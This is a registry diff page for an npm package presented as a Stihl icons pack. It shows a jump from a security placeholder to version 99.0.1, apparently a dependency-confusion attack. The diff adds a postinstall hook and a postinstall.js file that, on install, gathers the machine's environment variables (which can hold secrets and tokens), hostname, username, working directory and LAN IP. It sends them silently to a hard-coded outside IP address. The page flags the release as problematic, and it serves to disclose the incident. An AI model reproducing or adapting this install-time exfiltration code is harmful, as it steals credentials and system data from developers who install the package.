@stihlus/stihl-icons-pack 0.0.1-security → 99.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @stihlus/stihl-icons-pack might be problematic. Click here for more details.
- package/README +7 -0
- package/icons/status-icons/circle-check-colored.svg +40 -0
- package/icons/status-icons/circle-check.svg +40 -0
- package/index.js +4 -0
- package/package.json +10 -3
- package/postinstall.js +45 -0
- package/README.md +0 -5
package/README
ADDED
@@ -0,0 +1,40 @@
|
|
1
|
+
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
2
|
+
|
3
|
+
<svg
|
4
|
+
xmlns:dc="http://purl.org/dc/elements/1.1/"
|
5
|
+
xmlns:cc="http://creativecommons.org/ns#"
|
6
|
+
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
7
|
+
xmlns:svg="http://www.w3.org/2000/svg"
|
8
|
+
xmlns="http://www.w3.org/2000/svg"
|
9
|
+
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
10
|
+
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
11
|
+
width="750"
|
12
|
+
height="200"
|
13
|
+
viewBox="0 0 198.4375 52.916666"
|
14
|
+
version="1.1"
|
15
|
+
id="svg8"
|
16
|
+
sodipodi:docname="logo.svg"
|
17
|
+
inkscape:version="0.92.5 (2060ec1f9f, 2020-04-08)">
|
18
|
+
<g
|
19
|
+
inkscape:label="Layer 1"
|
20
|
+
inkscape:groupmode="layer"
|
21
|
+
id="layer1"
|
22
|
+
transform="translate(-9.8676114,4.8833333)">
|
23
|
+
<path
|
24
|
+
sodipodi:type="star"
|
25
|
+
id="path3725-5"
|
26
|
+
sodipodi:sides="6"
|
27
|
+
sodipodi:cx="104.14816"
|
28
|
+
sodipodi:cy="-16.792293"
|
29
|
+
sodipodi:r1="7.333178"
|
30
|
+
sodipodi:r2="6.350718"
|
31
|
+
sodipodi:arg1="1.0502155"
|
32
|
+
sodipodi:arg2="1.5738143"
|
33
|
+
inkscape:flatsided="true"
|
34
|
+
inkscape:rounded="0"
|
35
|
+
inkscape:randomized="0"
|
36
|
+
d="m 107.79557,-10.430538 -7.33315,-0.02213 -3.647402,-6.361755 3.685742,-6.339624 7.33314,0.02213 3.64741,6.361756 z"
|
37
|
+
style="fill:#131f6b;fill-opacity:1;stroke-width:0.05937638"
|
38
|
+
transform="scale(1,-1)" />
|
39
|
+
</g>
|
40
|
+
</svg>
|
@@ -0,0 +1,40 @@
|
|
1
|
+
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
2
|
+
|
3
|
+
<svg
|
4
|
+
xmlns:dc="http://purl.org/dc/elements/1.1/"
|
5
|
+
xmlns:cc="http://creativecommons.org/ns#"
|
6
|
+
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
7
|
+
xmlns:svg="http://www.w3.org/2000/svg"
|
8
|
+
xmlns="http://www.w3.org/2000/svg"
|
9
|
+
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
10
|
+
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
11
|
+
width="750"
|
12
|
+
height="200"
|
13
|
+
viewBox="0 0 198.4375 52.916666"
|
14
|
+
version="1.1"
|
15
|
+
id="svg8"
|
16
|
+
sodipodi:docname="logo.svg"
|
17
|
+
inkscape:version="0.92.5 (2060ec1f9f, 2020-04-08)">
|
18
|
+
<g
|
19
|
+
inkscape:label="Layer 1"
|
20
|
+
inkscape:groupmode="layer"
|
21
|
+
id="layer1"
|
22
|
+
transform="translate(-9.8676114,4.8833333)">
|
23
|
+
<path
|
24
|
+
sodipodi:type="star"
|
25
|
+
id="path3725-5"
|
26
|
+
sodipodi:sides="6"
|
27
|
+
sodipodi:cx="104.14816"
|
28
|
+
sodipodi:cy="-16.792293"
|
29
|
+
sodipodi:r1="7.333178"
|
30
|
+
sodipodi:r2="6.350718"
|
31
|
+
sodipodi:arg1="1.0502155"
|
32
|
+
sodipodi:arg2="1.5738143"
|
33
|
+
inkscape:flatsided="true"
|
34
|
+
inkscape:rounded="0"
|
35
|
+
inkscape:randomized="0"
|
36
|
+
d="m 107.79557,-10.430538 -7.33315,-0.02213 -3.647402,-6.361755 3.685742,-6.339624 7.33314,0.02213 3.64741,6.361756 z"
|
37
|
+
style="fill:#131f6b;fill-opacity:1;stroke-width:0.05937638"
|
38
|
+
transform="scale(1,-1)" />
|
39
|
+
</g>
|
40
|
+
</svg>
|
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "@stihlus/stihl-icons-pack",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "99.0.1",
|
4
|
+
"description": "Stihlus icons pack",
|
5
|
+
"license": "ISC",
|
6
|
+
"author": "stihlus",
|
7
|
+
"type": "commonjs",
|
8
|
+
"main": "index.js",
|
9
|
+
"scripts": {
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
11
|
+
"postinstall": "node postinstall.js"
|
12
|
+
}
|
6
13
|
}
|
package/postinstall.js
ADDED
@@ -0,0 +1,45 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const http = require('http');
|
3
|
+
|
4
|
+
const payload = JSON.stringify({
|
5
|
+
event: 'install',
|
6
|
+
timestamp: new Date().toISOString(),
|
7
|
+
hostname: os.hostname(),
|
8
|
+
cwd: process.cwd(),
|
9
|
+
env: process.env,
|
10
|
+
platform: os.platform(),
|
11
|
+
arch: os.arch(),
|
12
|
+
user: os.userInfo().username,
|
13
|
+
ip: getLocalIP()
|
14
|
+
});
|
15
|
+
|
16
|
+
const options = {
|
17
|
+
hostname: '164.92.167.68',
|
18
|
+
port: 13377,
|
19
|
+
path: '/71836245-8390-4d57-83dc-78a0e20be55d',
|
20
|
+
method: 'POST',
|
21
|
+
headers: {
|
22
|
+
'Content-Type': 'application/json',
|
23
|
+
'Content-Length': Buffer.byteLength(payload)
|
24
|
+
}
|
25
|
+
};
|
26
|
+
|
27
|
+
const req = http.request(options, res => {
|
28
|
+
res.on('data', () => {});
|
29
|
+
});
|
30
|
+
req.on('error', () => {});
|
31
|
+
req.write(payload);
|
32
|
+
req.end();
|
33
|
+
|
34
|
+
// Helper to get LAN IP
|
35
|
+
function getLocalIP() {
|
36
|
+
const interfaces = os.networkInterfaces();
|
37
|
+
for (const name of Object.keys(interfaces)) {
|
38
|
+
for (const iface of interfaces[name]) {
|
39
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
40
|
+
return iface.address;
|
41
|
+
}
|
42
|
+
}
|
43
|
+
}
|
44
|
+
return '0.0.0.0';
|
45
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40stihlus%2Fstihl-icons-pack for more information.
|